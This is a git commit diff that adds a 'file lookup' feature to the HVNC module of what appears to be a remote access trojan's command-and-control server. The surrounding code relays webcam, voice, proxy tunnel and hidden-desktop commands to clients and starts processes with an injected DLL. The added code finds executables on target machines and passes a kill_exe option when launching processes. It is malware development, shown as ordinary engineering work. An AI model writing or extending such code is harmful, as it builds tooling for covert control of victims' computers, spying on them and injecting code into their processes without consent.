add file lookup to hvnc

This commit is contained in:
KingKDot
2026-03-21 17:42:31 -05:00
parent 00675aa329
commit dbb7f559b7
9 changed files with 308 additions and 2 deletions
@@ -76,6 +76,7 @@ type WsLifecycleDeps = {
handleVoiceUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
@@ -487,6 +488,9 @@ export async function handleWebSocketMessage(
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload);
break;
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data;
@@ -494,6 +494,17 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
}
}
export function handleHVNCLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_lookup_result",
exe: String(payload.exe || ""),
path: String(payload.path || ""),
done: !!payload.done,
});
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
@@ -670,8 +681,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_key_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_lookup":
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
kill_exe: String(payload.kill_exe || ""),
});
break;
case "hvnc_start_process_injected": {
const dllData = getInjectionDllBytes();